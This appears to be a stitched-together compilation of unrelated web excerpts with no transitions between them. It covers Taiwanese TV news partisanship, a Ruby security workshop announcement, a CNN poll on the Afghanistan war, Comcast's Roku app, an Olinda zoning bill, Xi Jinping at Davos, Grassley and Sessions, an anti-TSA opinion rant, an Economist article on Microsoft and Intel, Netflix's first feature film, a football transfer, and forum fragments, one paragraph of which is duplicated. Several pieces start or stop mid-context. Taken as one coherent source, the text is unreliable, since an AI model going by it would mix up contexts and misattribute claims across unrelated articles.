Today, there is no single dominant TV news station. TVBS, FTV, SET, and cti are perhaps the four most influential, but even TVBS has less than 15% of the market. Moreover, there is a partisan balance, with TVBS and cti having a blue slant and FTV and SET favoring the green side. (TVBS switched sides in 2005 after being bought by Hong Kong capital. It was recently purchased by HTC boss Cher Wang, but this does not seem to have influenced its partisan stance as yet.) NEXT had been owned by Apple and had usually taken an anti-KMT stance. However, it was recently purchased by ERA, which seems to have an itch for James Soong. We’ll see if their anti-KMT stances change to an anti-DPP stance now that President Ma has left office.
Gosh, this post makes me feel old. The 1992 media world is so far from today’s. It’s as if I’m discussing a world with ticker-tape stock prices, telegraphs, and carrier pigeons.
In the last year, many new vulnerabilities and vulnerability classes have been discovered in Ruby applications. These vulnerabilities make use of features specific to the Ruby language and common idioms present in large Ruby projects, such as serialization and deserialization of data in the YAML format. As these vulnerability classes were initially discovered in popular and well-studied open source software, it’s extremely likely that they occur in applications throughout the Ruby ecosystem. These applications frequently represent lucrative targets for attackers, and with the appearance of new and easily exploitable bug classes, the potential for targeted and mass exploitation of Ruby programs has been demonstrated to the world. In this workshop, we aim to bridge a knowledge and skills gap by bringing information about these new vulnerability classes to software developers.
Our Ruby Security Workshop will be led by Hal Brodigan (@postmodern_mod3) and covers recent Ruby on Rails vulnerabilities classes, their root causes, and exercises where students develop exploits for real-world vulnerabilities. Attendees will learn the patterns behind the vulnerabilities and develop software engineering strategies to avoid introducing these flaws into their projects.
Artist CEO is a podcast that asks the question: Can business and art live in harmony? The series isn’t interested in finding a simple answer to that question, but exploring how it’s playing out in the life of one woman, Shannon DeJong.
DeJong is the CEO of House of Who, a multidisciplinary arthouse and agency that specializes in naming and branding. She also happens to be an actress and solo performance artist. Kerri Lowe, the host of ArtistCEO, is similarly navigating the entrepreneur-artist split as House of Who’s content strategist and a spoken-word storyteller in her own right.
Lowe and DeJong are both trained actresses who discovered that the auditioning life wasn’t for them but decided to stay the artistic course anyway. Their shared quest for an authentic balance between art, business, and life is at the heart of ArtistCEO. Here at Lady Parts, we get that struggle—and we know a lot of you do as well. That’s why we’re recommending ArtistCEO for your 100% female-made listening pleasure :)
The increase in opposition to U.S. involvement comes as pessimism about how the war is going is rising. According to a poll done Dec. 17-19, 56 percent of the public believes that "things are going badly for the U.S. in Afghanistan."
"The war has not always been unpopular -- back in March, when a majority thought that the war was going well, the country was evenly divided. But by September, the number who said that things were going well for the U.S. in Afghanistan had dropped to 44 percent, and opposition to the war had grown to 58 percent," said CNN Polling Director Keating Holland. "Today, with Americans remaining pessimistic about the situation in Afghanistan, they also remain opposed to the war."
There are, however, at least two groups where there is still a slim majority of support for the war -- the Republican Party establishment, and Tea Party activists. Here's a look at the partisan breakdown of supporters and opponents:
TEA PARTY: 52 percent favor, 45 percent oppose. REPUBLICAN: 52 percent favor, 44 percent oppose. CONSERVATIVE: 49 percent favor, 48 percent oppose. DEMOCRAT: 24 percent favor, 74 percent oppose. LIBERAL: 20 percent favor, 80 percent oppose. INDEPENDENT: 35 percent favor, 63 percent oppose. MODERATE: 32 percent favor, 66 percent oppose.
Income level also seems to play a significant role: 70 percent of people making under $50,000 annually said they oppose the war; only 54 percent of those making more than $50,000 annually said the same thing.
As the Los-Angeles Times reports, "This has been the war's deadliest year for noncombatants and combatants alike, with civilian casualties for the first 10 months of this year running 20% higher than the same period a year ago, according to the most recent figures available from the United Nations."
The number of foreign troops killed in the nine-year war has hit an all-time high, with more than 700 lives lost. Nearly 500 U.S. servicemembers were killed this past year alone, according to the site iCasualties.org.
A new report by Reporters Without Borders also finds that the country remains dangerous for journalists. There was a "major increase" in the number of journalists kidnapped in 2010, with Afghanistan a hot spot of trouble. "The case of French TV journalists Hervé Ghesquière and Stéphane Taponier and their three Afghan assistants, held hostage in Afghanistan since 29 December 2009, is the longest abduction in the history of the French media since the end of the 1980s," writes the organization in its report.
Using the app is free during the beta trial, but for now the app can only be used if you're also paying for a Comcast set-top box. That limitation will eventually go away, but initially that means the Roku app won't be able to completely replace a traditional TV box.
Roku announced the Xfinity TV beta app yesterday, and Comcast posted an FAQ with more information. The Comcast FAQ explains that "additional outlet" charges are being waived during the beta trial, but that won't be the case after the beta ends: "Customers will not pay equipment charges with respect to their use of Roku devices," Comcast wrote. "All other fees associated with a customer's service will apply, except that, during the Beta trial, additional outlet charges for services to outlets connected to Roku devices are being waived. On conclusion of the trial, you will be informed of the charges that will apply for connecting this device with your Xfinity TV service and will have the opportunity to opt in."
Former Federal Communications Commission Chairman Tom Wheeler tried to push through rules that would require pay-TV companies to provide free apps that can replace rented set-top boxes. But he wasn't able to get enough votes, and current FCC Chairman Ajit Pai has taken the proposal off the table.
Variety points out that "Comcast's additional outlet service fees per set-top box are $9.95 per month; customers using their own substitute equipment, such as a TiVo, receive a $2.50 credit (resulting in a net charge of $7.45 per month)." That might give an indication of what Comcast will charge for Roku use, though Variety quoted a Comcast rep as saying that the company is "evaluating our additional outlet policies."
Comcast is calling this a beta because the app "is still in its development stages," and the company wants customer feedback. One big limitation during the beta is that the service can't replace a Comcast set-top box: "During this Beta phase, due to technical limitations, customers using the Xfinity TV Beta app on Roku (other than Stream customers) can only use that app on secondary TV outlets and will need to have at least one Comcast-provided TV box in their home. You do not have to connect the Comcast-provided TV box and Roku to the same TV."
The "Stream customers" Comcast referred to are those signed up for Stream TV, a basic TV service for Comcast Internet customers that does not require a TV box. The beta app is available on all Roku players released in the last couple of years (full list in the FAQ), and support for additional Roku models is in the works.
We asked Comcast several questions about why Roku outlet charges are necessary and how much they will cost, the need for a Comcast TV box during the beta phase, and expected availability date for a non-beta version of the app. We'll provide an update if we get one.
(UPDATE: Comcast responded to us and confirmed that Roku devices will be treated similarly to CableCard devices in terms of pricing. Customers who use a Roku as a "primary outlet" after the beta is over will get a $2.50 credit on their bill; the "primary outlet" isn't an itemized fee but is included as part of paying for a TV subscription. Using a Roku as an "additional outlet" will cost $9.95, but the $2.50 credit will lower the price to $7.45. Xfinity TV app access on phones and tablets does not cost extra.)
The Comcast Roku app lets customers stream live TV from their entire channel lineup, access the Xfinity video on-demand library, and provides recordings to customers who also have the X1 Cloud DVR. To use the beta app, customers must subscribe to Comcast TV and Internet service "and have a compatible IP gateway." Though it requires Internet service, TV on Roku is still considered a "cable" service and doesn't count against Comcast data caps. "The Xfinity TV service delivered through the Xfinity TV Beta app is not an Internet service and does not touch or use the Internet," Comcast's FAQ said. "Rather, it is a Title VI cable service delivered solely over Comcast's private, managed cable network, so it will not count toward your Xfinity Internet Data Usage Plan."
The Comcast Internet gateway can also be used as the cable service gateway, Comcast said. In the future, it might be possible to watch Comcast TV on a Roku without a Comcast Internet subscription, as Comcast says it is "working hard to make cable-only gateway equipment available soon."
“In 2015, contractors who wish to build in Olinda will have a new incentive. A bill is being sent to the City Council to ease the maximum building height of buildings in the region.
The new standard, which should be approved and sanctioned the first months of 2015 will increase by up to five floors, beyond that which is stipulated in Olinda’s Master Plan (Law No. 026/2004). The change can add about 40 units per building constructed, depending on the size of the land, which will generate average earnings of R$1 million to the contractor, and an exponential increase to the collection of municipal coffers.
The expansion is planned only in some areas within the city limits as the Bairro Novo neighborhood, Casa Caiada, Jardim Atlântico, Rio Doce, Bultrins and the areas surrounding the PE-15 highway, just in places with the highest population density and that are more attractive to construction companies. The Historic Center will not be touched.
According to the municipal secretary of Planning and Urban Control, Estevão Brito, the change has been a long-standing demand by contractors. “We have a great concern for the preservation of the city and Olinda lifestyle. But we are allowing the building height increase to meet the housing deficit and stimulate the local economy,” he says.
Brito explains, however, that the bill will allow for the extension on condition that the contractors invest a corresponding monetary value to this increase, as an onerous grant, via construction of public squares and roads within the city. Despite advances, Romero Luz, director of Flamac real estate, a company waiting a year for the approval of a 12–floor building in Bultrins, says he will not benefit from the new law.
“We’re losing money because the project is stopped. Building in Olinda is expensive. The number of floors is very limited and the ‘impact’ concept there is very rigid. In Recife, a building is considered ‘impactful’ if it takes up more than 20 thousand square meters, in Olinda it’s five thousand (m2),” he says.
Construction company project changes
The construction company Flamac waited a long time for a change in the legislation but gave up the initial project. “We would not have a way to keep the price of the land down any longer and so we decided to reduce the number of floors. From 12, we went to 10. With this, we will lose 16 apartments, which is a great loss,” said the director Romero Luz.
Like him, Claudio Souza, commercial director of Romarco, a construction company with several projects in Casa Caiada, is not satisfied with the bill. “I think the city should talk more with the construction sector before drawing up such a document, because we have suffered enough to build in Olinda. There are many residents there offering me land, but it doesn’t make sense financially. The numbers do not add up,” he adds.
He believes that with greater flexibility (permission of around eight floors), the city would have a development leap. “Olinda has a small revenue. With low tax, there is little money for the city to invest in itself. For every two houses in Olinda, which generate only two IPTUs (housing tax), that can be replaced by 160 IPTUs, the average of a 20-story building.“
In addition, the director of Romarco estimates that a 20 floor operation generates up to 80 direct jobs, without mentioning those that are indirect. “With the projects that the city could get, many people would not need to leave Olinda to get a job.” – Source (PT)
For another angle on the same issue, see this post (PT) from Caderno Recifense
To Lee’s knowledge, it’s one of the first Fulbright Scholarships awarded to the study of online games.
Lee, 29, is a Ph.D. candidate at Penn’s nursing school, which is a place that’s surprisingly rife with innovation: it’s one of three nursing schools in the country that offers a scholarship focused on health innovation. Lee is one of those scholars. He also works with the school’s Health Technology Lab.
He’s a rising star in the gaming world, for sure. Last year, he was named an International Game Developers Association scholar, one of the most coveted awards in the game developer community.
As for his project, Lee hopes to develop ways to foster openness and collaboration in the online gaming community, since in many places, that’s not the norm. (As one writer described the game League of Legends: “It often feels that when you aren’t playing with four other friends, chances are you’re going to run into the scum of the earth.”)
Lee wrote:
It’s my hope that eventually, this data can be useful in developing new therapeutic applications for games, and in improving the mental health of those online today, something I’m quite passionate about as a nurse, game designer, and as the chair of the International Game Developers Association’s Serious Game Group.
He’ll leave for Australia this January and plans to return to Penn once his year-long scholarship is over.
Chinese President Xi Jinping speaks to Gabon's President Ali Bongo Ondimba (not pictured) during a meeting in the Great Hall of the People in Beijing, China December 7, 2016. REUTERS/Fred Dufour/Pool
Xi will take centre stage at the Jan. 17-20 forum with China presenting itself as a champion of globalization.
The Chinese Foreign Ministry on Tuesday confirmed Xi’s widely expected attendance at the annual gathering of global political leaders, CEOs and celebrities in the Swiss Alps.
Davos will end just as Trump takes office, having won the White House in part with promises to pull the United States out of international trade deals and hike tariffs against China and Mexico in a protectionist campaign he says will help bring back industries and jobs to America.
WEF executive chairman Klaus Schwab said he expected Xi to show how China would take a “responsive and responsible leadership role” in global affairs at a turning point in history, with the world needing new concepts to face the future.
“Every simplified approach to deal with the complex global agenda is condemned to fail. We cannot have just populist solutions,” Schwab told a news conference in Geneva, referring to the rising anti-globalization tide epitomized by Trump’s victory and Britain’s vote last year to exit the European Union.
The Chinese president will be in Switzerland from Jan. 15-18 for a state visit and to attend the Davos meeting, Foreign Ministry spokesman Lu Kang told a regular press briefing.
He will also visit the United Nations offices in Geneva, and the offices of the World Health Organization and the International Olympic Committee, Lu said.
Other global leaders, including WEF regular German Chancellor Angela Merkel and Canadian Prime Minister Justin Trudeau, will not be in Davos this year.
European Commission President Jean-Claude Juncker was also absent from the line-up published on Tuesday, but there were many presidents, prime ministers and central bankers among the 3,000 participants, along with 1,800 executives from 1,000 companies.
The United States will be represented by Vice President Joe Biden and Secretary of State John Kerry, days before they leave office, and “someone from the transition team representing the new (Trump) administration”, Schwab said.
Xi led a forum of Asia-Pacific leaders in Peru in November in vowing to fight protectionism, just days after Trump won the U.S. election having pledged to pull out of the 12-nation Trans-Pacific Partnership (TPP) trade deal.
Senate Judiciary Committee Chairman Chuck Grassley (R-Iowa) does not plan to force Attorney General Jeff Sessions to answer questions about his private conversations with President Donald Trump concerning the firing of FBI Director James Comey, a spokesman said Friday.
Sessions sidestepped repeated questions about the Comey firing and the federal probe of Russia's election meddling during testimony before the Judiciary panel earlier this week, dismissing a bid by the committee's nine Democrats to force him to formally invoke executive privilege in declining to answer questions.
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While Democratic frustration simmers over Sessions' ability to evade questions about his private conversations with the president without claiming executive privilege, Grassley appears to have concluded that the matter isn't worth pressing because the Trump administration would likely prevail.
"No president is likely to invoke executive privilege until forced to do so," Grassley spokesman George Hartmann said by email. "In this case, it’s premature and probably not a legitimate use of committee time and resources to force the issue."
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Grassley said in a Thursday interview that “I don’t think you can find fault with Sessions not” discussing his private talks with Trump given that former President Barack Obama's first attorney general, Eric Holder, resisted a formal assertion of executive privilege for months during the congressional investigation into "Fast and Furious," a Department of Justice gun-smuggling operation gone awry.
“I think there’s plenty of precedent for” Sessions declining to answer questions, Grassley added. "I wouldn’t feel that way if I hadn’t been treated that way myself by Holder."
Congressional Republicans railed for months against Holder after the Fast and Furious probe began in 2011, and Grassley himself harshly criticized Holder for withholding information. The House GOP issued a subpoena and later held Holder in contempt of Congress as a means to pry loose a formal claim of executive privilege. Obama ultimately invoked executive privilege to shield Holder's DOJ from providing documents on the initiative after months of congressional requests.
But Grassley's spokesman asserted a notable difference between the Fast and Furious matter and Sessions' discussions with Trump over the Comey firing, which Trump has said was motivated in part by the federal probe of his associates' ties to Russia.
"Unlike Attorney General Holder during the Fast & Furious investigation, this case involves communications between the president and a close adviser, which seems on its face to meet the basic elements of executive privilege, and thus would be a challenge for Congress to overcome," Hartmann added.
Democrats on the committee are not about to drop the issue.
Sen. Richard Blumenthal (D-Conn.) said in an interview that "a number of us feel the urgency of putting some boundaries on this seemingly endless claim of executive privilege without the president even invoking it."
Assuming that Trump would win a battle over an executive privilege claim regarding the Comey firing is "questionable," Blumenthal added, because "there would be a challenge based on his tweets and his comments that seemingly waive the privilege because he’s commented on his conversations with the DOJ — including Attorney General Sessions, saying he never should have recused himself."
Sen. Dick Durbin (D-Ill.) said in an interview that "I think there is a double standard" being applied to Sessions versus Holder, noting the long-standing friendship between Grassley and the attorney general, a former GOP senator who sat on the judiciary panel.
Sessions ought to be pushed further to address his discussions with Trump about Comey’s firing, Durbin added, but it’s “not likely to occur, under the circumstances.”
Sessions also declined to address questions about private conversations regarding Trump’s controversial pardon of former Arizona Sheriff Joe Arpaio under questioning from California Sen. Dianne Feinstein, the Judiciary Committee's top Democrat, during his Wednesday testimony.
“Until such time as the president makes a decision with respect to this [executive] privilege, I cannot waive that privilege myself or otherwise compromise his ability to assert it,” Sessions said.
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Imagine the following scenario.
It is mid-afternoon on the Wednesday just before Thanksgiving. Some jerk walks into the Atlanta airport, gets his boarding pass and makes his way to the mini-North Korea known as TSA. He hands the blueshirt his boarding pass and driver’s license. He then reaches into his carry-on bag, presses a button and – KABOOOOOOM!!!!!! – kills 2000 people.
At the same moment, two other jerks are doing the exact same thing at O’Hare and DFW as part of a co-ordinated attack. And not only have more people just died than died on 9/11, but America’s three largest aviation hubs have just experienced massive destruction and air travel everywhere has been severely interrupted.
TSA could not prevent this, just like they could not prevent the fatal shooting of a TSA agent at LAX last year. Terrorism need not happen at 35,000 feet. Indeed, extremely few terror attacks have anything to do with aviation.
TSA does not keep you safe. Period.
However, the American people persist in the notion that it does. And they will tolerate endless violations of their civil liberties and physical bodies in the name of Schutz und Sicherheit.
It all started shortly after 9/11 with the passing of the Patriot Act, which ushered in numerous violations on our Fourth Amendment protections against unlawful search and seizure. And most people supported it because, after all, we had to “go after the terrorists.” And, hey, we had to give up our liberty for a time until the crisis passed.
I have to confess that I acquiesced in this for a very short time. Like so many millions of others, I was caught up in the passions of the moment.
But then I started asking: now that the camel’s nose is under the tent, what else are they going to do? And, more importantly, how much more will the American people accept?
Apparently, there is no limit here.
Will we routinely accept the violation of our physical bodies in the name of safety and security? It turns out that we have.
Just consider the passivity with which most people accept “porn, perversion and pedophilia” – I wish I knew who said that first – in the name of “transportation safety”. When you look at a nude photograph of a minor, it is child pornography. If someone else feels you up without your consent, it is sexual assault. (And if anyone did this to me under any other circumstances, it would take about one nanosecond for me to put the wretched little pervert’s teeth on the ground.)
The Nazis didn’t do it. No communist regime ever did it. Yet, in the “land of the free”, being felt up in order to prove one’s innocence is now a condition of travel.
And just look at these tax-mainlining Uncle Ernies.
And if you will let the authorities photograph you naked and feel you up, why wouldn’t you let them violate you even further?
Would you let them catheterize you, like these central Utah police did when looking for marijuana?
Would you let them draw your blood? Read what is happening in Tennessee, Texas and Oregon.
Would you submit to cavity searches, such as those performed in Milwaukee and in Deming, New Mexico?
Would you let them slit your throat and kill you? Police did just this on a drug bust in Huntsville, Alabama. And just as TSA has never caught a terrorist, the cops in this case found no drugs.
“But …… but …… but, they were looking for terrorists and drugs.”
The wars on drugs and terror are just like any other type of federal overreach. Both come clothed in somebody’s good intention. Both are sold to us in the name of some Higher Good. They always grow bigger and uglier with time. And they always create bigger problems than those they were intended to solve.
Do you want to live in a society when the authorities can invade your body at will and with impunity? Do you want to live in a society where you are constantly required to prove your innocence? A government that will force you to prove your innocence is infinitely more dangerous than any drug or terrorist.
Even more dangerous is a populace that feels protected by such a government. Obama is too good for such a people.
THEY were the Macbeths of information technology (IT): a wicked couple who seized power and abused it in bloody and avaricious ways. Or so critics of Microsoft and Intel used to say, citing the two firms' supposed love of monopoly profits and dead rivals. But in recent years, the story has changed. Bill Gates, Microsoft's founder, has retired to give away his billions. The “Wintel” couple (short for “Windows”, Microsoft's flagship operating system, and “Intel”) are increasingly seen as yesterday's tyrants. Rumours persist that a coup is brewing to oust Steve Ballmer, Microsoft's current boss.
Yet there is life in the old technopolists. They still control the two most important standards in computing: Windows, the operating system for most personal computers, and “Intel Architecture”, the set of rules governing how software interacts with the processor it runs on. More than 80% of PCs still run on the “Wintel” standard. Demand for Windows and PC chips, which flagged during the global recession, has recovered. So have both firms' results: to many people's surprise, Microsoft announced a thumping quarterly profit of $4.5 billion in July; Intel earned an impressive $2.9 billion.
So now is a good time to take stock of IT's most hated power couple. As The Economist went to press, Intel was on track to reach a settlement with America's Federal Trade Commission (FTC), which would in effect end the antitrust woes that have plagued both firms. And Microsoft has recently strengthened its ties with ARM, Intel's new archrival. This suggests that the Wintel marriage is crumbling.
Critics have often questioned both firms' technological prowess. Yet Windows 7, the latest version of Microsoft's operating system, is excellent, and customers have snapped it up. As for Intel, its manufacturing machine is peerless. Some of its transistors are so tiny that 2m would fit on the “.” at the end of this sentence.
Both firms have often co-operated, despite occasional crockery-throwing. Microsoft has been pushier: in the mid-1990s, for instance, Mr Gates leaned heavily on Andy Grove, Intel's boss, to stop the development of software that trod on Windows' turf. Intel backed down.
The Wintel marriage is now threatened, oddly enough, by technological progress. Processors grow ever smaller and more powerful; internet and wireless connections keep speeding up. This has created both centripetal and centrifugal forces, which are pushing computing into data centres (huge warehouses full of servers) and onto mobile devices—businesses that Microsoft and Intel do not dominate.
Other firms have leapt into the gap. Apple is now worth more than Microsoft, thanks to its hugely successful mobile devices, such as the iPod and the iPhone. Google may be best known for its search service, but the firm can also be seen as a global network of data centres—dozens of them—which allow it to offer free web-based services that compete with many of Microsoft's pricey programmes.
The shift to mobile computing and data centres (also known as “cloud computing”) has speeded up the “verticalisation” of the IT industry. Imagine that the industry is a stack of pancakes, each representing a “layer” of technology: chips, hardware, operating systems, applications. Microsoft, Intel and other IT giants have long focused on one or two layers of the stack. But now firms are becoming more vertically integrated. For these new forms of computing to work well, the different layers must be closely intertwined.
Apple, whose products have always been more integrated, is building a huge data centre and also offering web-based services. Google has developed Android, an operating system for smart-phones. The heavyweights in corporate IT are invading each other's territory, too. That is the only way to grow, they believe. Also, clients love a one-stop-shop. Cisco, the world's largest maker of data-networking gear, has started to sell servers. That spurred HP, a vendor of these machines, to push into the networking business. Oracle, which sells business software, bought Sun Microsystems, a computer-maker, last year.
Intel also has to deal with new competitors. For most of its 42-year history its main rival was Advanced Micro Devices (AMD), which makes processors based on a Windows-compatible architecture. Now Intel has to slug it out with ARM, a British firm. ARM does not make its own chips, but its designs are the basis for most of those that go into most mobile handsets.
Trustbusters have made life for the Wintel couple more difficult, mostly by curbing the ways they can defend and expand their near-monopolies. Having lost its battle with the European Commission, for instance, Microsoft must now give Windows users in the European Union a choice of which web browser to install. The commission also went after Intel, fining it €1.06 billion in May 2009 ($1.44 billion at the time) for giving rebates to computer makers if they used fewer AMD chips. The rules governing how Intel can price its chips will finally be settled soon, when negotiations with the FTC conclude.
In response to these threats, Microsoft has made big bets on cloud computing. It has already built a global network of data centres and developed an operating system in the cloud called Azure. The firm has put many of its own applications online, even Office, albeit with few features. What is more, Microsoft has made peace with the antitrust authorities and even largely embraced open standards.
In other areas, however, the firm is floundering. It is still losing money on its web services, despite having invested billions. And apart from Xbox Live, the online offering for its game console, its new web services attract few eyeballs. Bing, Microsoft's search service, still answers only 13% of online queries in America. Worse, Microsoft's mobile business is in disarray. It recently killed two new smart-phones after just 48 days on the market. A new operating system for smart-phones will only come later this year. And in tablet computers, Microsoft is behind, too. Should the firm fail to catch up fast, Mr Ballmer will surely be tossed through a window.
Paul Otellini, Intel's boss, is more secure. When Intel started losing its edge against AMD, he quickly cut costs and revised the firm's goals. (If regulators are right, however, Intel resorted to all kinds of unfair practices to buy time.) Mr Otellini predicts that Intel's chips will eventually be in every intelligent device with an internet link—which could one day mean just about everything.
He is pinning his hopes on a new family of processors called Atom. Rather than making these chips ever more powerful, Intel is making them ever cheaper and less power-hungry. That way, manufacturers will find it economical to put chips not only in phones but also in television sets, sewing machines, robots and so on. Since such devices tend to need special programmes, Intel has also moved further into the software market. In June 2009 it bought Wind River, which sells operating systems for embedded processors.
Still, Intel faces some high hurdles. Although Atom now powers most netbooks (cheap laptops), its success is hardly guaranteed. ARM's chips guzzle little power and cost much less than Intel's, because its licensing fees are low and most customers use foundries (contract chipmakers) to make them. Intel may not be able to sell future generations of Atom at a competitive price without hurting its fat margins.
Intel executives are optimistic, however. Atom will be more attractive for device makers, the firm's executives argue, because developers can rely on the Intel Architecture and will not have to learn new tricks. More importantly, Intel believes that it can keep making smaller transistors than anyone else and that Atom chips will continue to be as profitable as its other chips. Yet this suggests a long-term problem. Intel's position seems safe as long as Moore's Law holds (ie, as long as it can keep cramming twice as many transistors on a chip every 18 months or so). But some people think that will become physically difficult sooner rather than later.
Regardless of whether Microsoft and Intel prosper individually, they will drift apart as a couple. Since Microsoft has yet to deliver a competitive version of Windows for smart-phones and tablets, for instance, Intel has teamed up with Nokia, the world's largest maker of handsets, to develop Meego, an open-source operating system for mobile devices. Microsoft, by cuddling up to ARM, will be able to build chips of its own.
Now Netflix is going into the movie business. Today it's releasing its first major feature film, Beasts of No Nation. Naturally, this means you'll now be able to watch the movie on Netflix. But in an interesting twist, Netflix is also releasing Beasts in theaters. Well, at least theaters whose owners aren't too pissed off at Netflix to show it.
'Netflix is not serious about a theatrical release.' Patrick Corcoran, National Association of Theatre Owners
Earlier this year, major movie theater chains AMC, Regal, Cinemark, and Carmike told Variety they would refuse to screen Beasts, which stars Idris Elba. The outcry comes as the movie theater business faces similar pressures to those that torpedoed physical video stores—more and more viewers are shifting their entertainment habits online.
Typically, theaters enjoy at least a 90-day period between the day a film is released on the big screen and the day it reaches audiences at home (though that window is beginning to shrink). But Netflix is not a typical company.
“Netflix is not serious about a theatrical release,” says Patrick Corcoran, vice president of the National Association of Theatre Owners. “There isn’t a real commitment.”
Corcoran says that theater owners commit marketing, time, and theater space to screening movies, which leaves little incentive to show a film that people can already watch for less money at home. In fact, any marketing theaters did to help promote the movie could even lead to more people watching at home.
"It's not equal space," says Phil Contrino, chief analyst at BoxOffice.com. "A lot of people subscribe to Netflix and they can watch Beasts of No Nation at home. How many of those subscribers are going to go see it in theaters?"
Theater owners first heard about the company’s plans to release Beasts simultaneously in theaters and on-demand from a press release, Corcoran says. This didn't go over well. Normally, Corcoran says, distributors will negotiate a release with theater owners ahead of a public announcement. In the case of Beasts, theater owners first heard about it when everyone else did. (Netflix did not respond to WIRED's repeated requests for comment.)
“The purpose here is PR,” Corcoran says. “They want to qualify for an Academy Award.”
Netflix Wants to Be A Contender
Beasts, a film about a child soldier caught up in fighting in an unnamed African country's civil war, has already received critical acclaim and attention as a potential Oscar contender. Starring Idris Elba and directed by Cary Fukunaga of True Detective fame, the film may be Netflix's latest chance to win the most prized award in Hollywood.
And that would be huge for Netflix. Depending how you count, Beasts is Netflix’s first original feature film, though it’s far from its last. It was reportedly produced for $6 million and acquired by Netflix in March for $12 million, a hefty sum for a relatively small indie film. (For perspective, indie flick Me and Earl and the Dying Girl was reportedly offered $12 million to be acquired earlier this year at Sundance in what would have been a “blockbuster" deal, according to Deadline.)
With several popular original TV series like Orange is the New Black on its roster, Netflix is planning to release a slate of so-called original feature films for the first time, including the upcoming sequel to Crouching Tiger, Hidden Dragon and several Adam Sandler films, including the upcoming The Ridiculous 6. Netflix has also already seen award season success, notching 34 Emmy nominations for its original TV shows just this year as well as Oscar nominations for two feature-length documentaries to date.
Netflix seems to be hoping that Beasts will bring the company the kind of cachet (and potentially talent) that comes with esteemed awards. But according to Academy rules, in order to be considered for an Oscar, Beasts needs to screen in theaters on the same day or before the home release. And at least one theater chain is willing to give them an assist: you'll be able to see Beasts in select Landmark theaters starting today.
“There have been feature films made for the home for years and people view them that way,” Corcoran says. “There’s something else about a theatrical release, the aura of it, the fact you’re going out to see it.” But having a film come out at the same time on the Internet kills some of that aura.
Any movie release gambit that depends on theater owners going against their vested interests by showing a film the same day it comes out online is unlikely to succeed, at least commercially, says Paul Dergarabedian, senior media analyst for Rentrak.
"The Netflix model for theatrical releases can only work on a large scale on the theater level if the large chain exhibitors chose to go along with the plan," he adds.
But clearly that's not very important to Netflix, whose business after all is all about giving consumers what they want on Netflix.
West Ham United have agreed a fee of €15m (£10.7m) for the Marseille forward Dimitri Payet. He is set to fly to London for a medical on Thursday.
Payet has been offered a four-year contract, which contains a performance-related element and is worth a basic £60,000 a week. Each time the 28-year-old makes an appearance for the club he would receive an extra £10,000.
Payet, who has 15 caps for France and made the most assists in Ligue 1 last season, had two years to run on his Marseille deal but his salary was about to drop by about £12,000 a week after the club’s failure to qualify for the Champions League.
The Marseille manager, Marcelo Bielsa, had hoped that Payet’s contract could be renegotiated but the player was attracted by West Ham’s offer and the chance to play in the Premier League.
Payet also stands to play a part in Europe, with West Ham entering the Europa League at the first qualifying round, having qualified via the Fair Play League. They have been drawn to face FC Lusitans of Andorra, with the first leg on 2 July.
Payet can play across the front line, as well as in a No10 role and he will join the Spain under-21 midfielder, Pedro Obiang, who moved to Upton Park from Sampdoria for £4.6m, and the goalkeeper, Darren Randolph, who joined on a free transfer from Birmingham City. Stephen Hendrie, the young full-back, has also arrived from Hamilton for £1m.
But being out of the LRA and not being pursued by the Ugandan military are two very different things, and US State Department cables from WikiLeaks show that when the military came knocking, Invisible Children eagerly answered the call, tipping the military off about Komakech’s whereabouts, information that led to his capture.
The revelation brings into even deeper focus Invisible Children’s close relationship with the Ugandan military, a human rights violator par excellence in its own right. The group insists “none of the money donated through Invisible Children” has ever gone to Uganda’s government, but in cases like this, it seems the organization itself is acting as a virtual auxiliary arm.
Though the issue of child soldiers is indeed serious, the eagerness to work in tandem with the Ugandan government has made the anti-LRA campaign primarily a military one. US troops invaded Uganda in October with the Ugandan regime’s endorsement to fight the LRA. The move was not out of the blue, but the result of years of calls for escalation by NGOs, resulting in an ongoing US military relationship with Uganda’s own military, including tens of millions of dollars in training and armament.
Indian diplomats also informed the Iranian envoy that India has reached out to Interpol to request the issuance of so-called red corner notices for the trio, who have been identified as Houshan Afshar, Syed Ali Mehdi Sadr and Mohammad Reza Abolghasemi. Indian agencies have already issued arrest warrants against the three, and India has asked Iran for help in detaining the three.
The Press Trust of India, meanwhile, has reported that Indian authorities on Saturday issued an arrest warrant for Masoud Sedaghatzadeh, who was detained by Malaysia authorities last month in connection with the failed bomb attack in Bangkok.
It seems highly unlikely at this point that Tehran will comply with New Delhi’s requests, but the development has huge diplomatic symbolism. India has already voted twice against Iran at the International Atomic Energy Agency (IAEA), and this latest news is set to further test ties at a time when India is under pressure from the United States to back pressure against Tehran over its nuclear program.
The Iranians are believed to have been helped by Syed Mohammed Ahmad Kazmi, an Indian journalist, who was arrested by Delhi Police on March 6. At a news conference on Friday, New Delhi Police Commissioner B. K. Gupta described the alleged plot, accusing Kazmi, “of providing logistical support for the February 13 blast, which injured the wife of an Israeli diplomat and three others.”
The real significance of the case is the fact that India has officially approached Iran for cooperation in a terror case. The Indian government has consistently taken the position that Iran is a friendly neighbor, and one with which it values close ties. Certainly, Iran has been a key supplier of oil to fast-growing India, and supplies an estimated 12 percent of India's oil needs.
The situation has also been complicated by domestic considerations, with the Manmohan Singh-led United Progressive Alliance government coming under pressure from the Left parties to strengthen relations with Iran at the cost of ties with the United States. India has boldly refused to honor sanctions on Iran imposed by the 27-nation European Union, arguing that New Delhi only recognizes the United Nations with regard to country-specific sanctions.
3rd. Charlie's voice/speech bubbles.
The shakiness of Charlie's speech bubbles ties into what had happened previously with the Inner Peace (Through Superior Firepower) storyline Jillian and Wanda had. Since we know Charlie was poisoned with the flower and there are very few actual means of being cured of it (as Wanda and Jillian were apparently here:
3rd. Charlie's voice/speech bubbles.The shakiness of Charlie's speech bubbles ties into what had happened previously with the Inner Peace (Through Superior Firepower) storyline Jillian and Wanda had. Since we know Charlie was poisoned with the flower and there are very few actual means of being cured of it (as Wanda and Jillian were apparently here: http://archives.erfworld.com/Book%200/81 ). Note that it was left "open-ended" intentionally. This all ties together, I think. I don't think Charlie's need of Lilith has anything to do with helping his flower problem.
Book 0 wrote:
Wanda placed the flower back in her hair. “Although he succumbed to some of the effects of her magic, the defendant‘s father ultimately resisted her control. So she attempted to croak him instead, giving him poison in place of his usual elixirs. He survived by means of Carnymancy, buying back his life at a terrible cost.
Helwani spoke on “The MMA Hour” on Monday to address the fiasco and his meeting with UFC President Dana White where he was kicked out of the UFC 199 event and banned as a journalist after breaking the news of Brock Lesnar’s return to the Octagon ahead of the organization’s announcement.
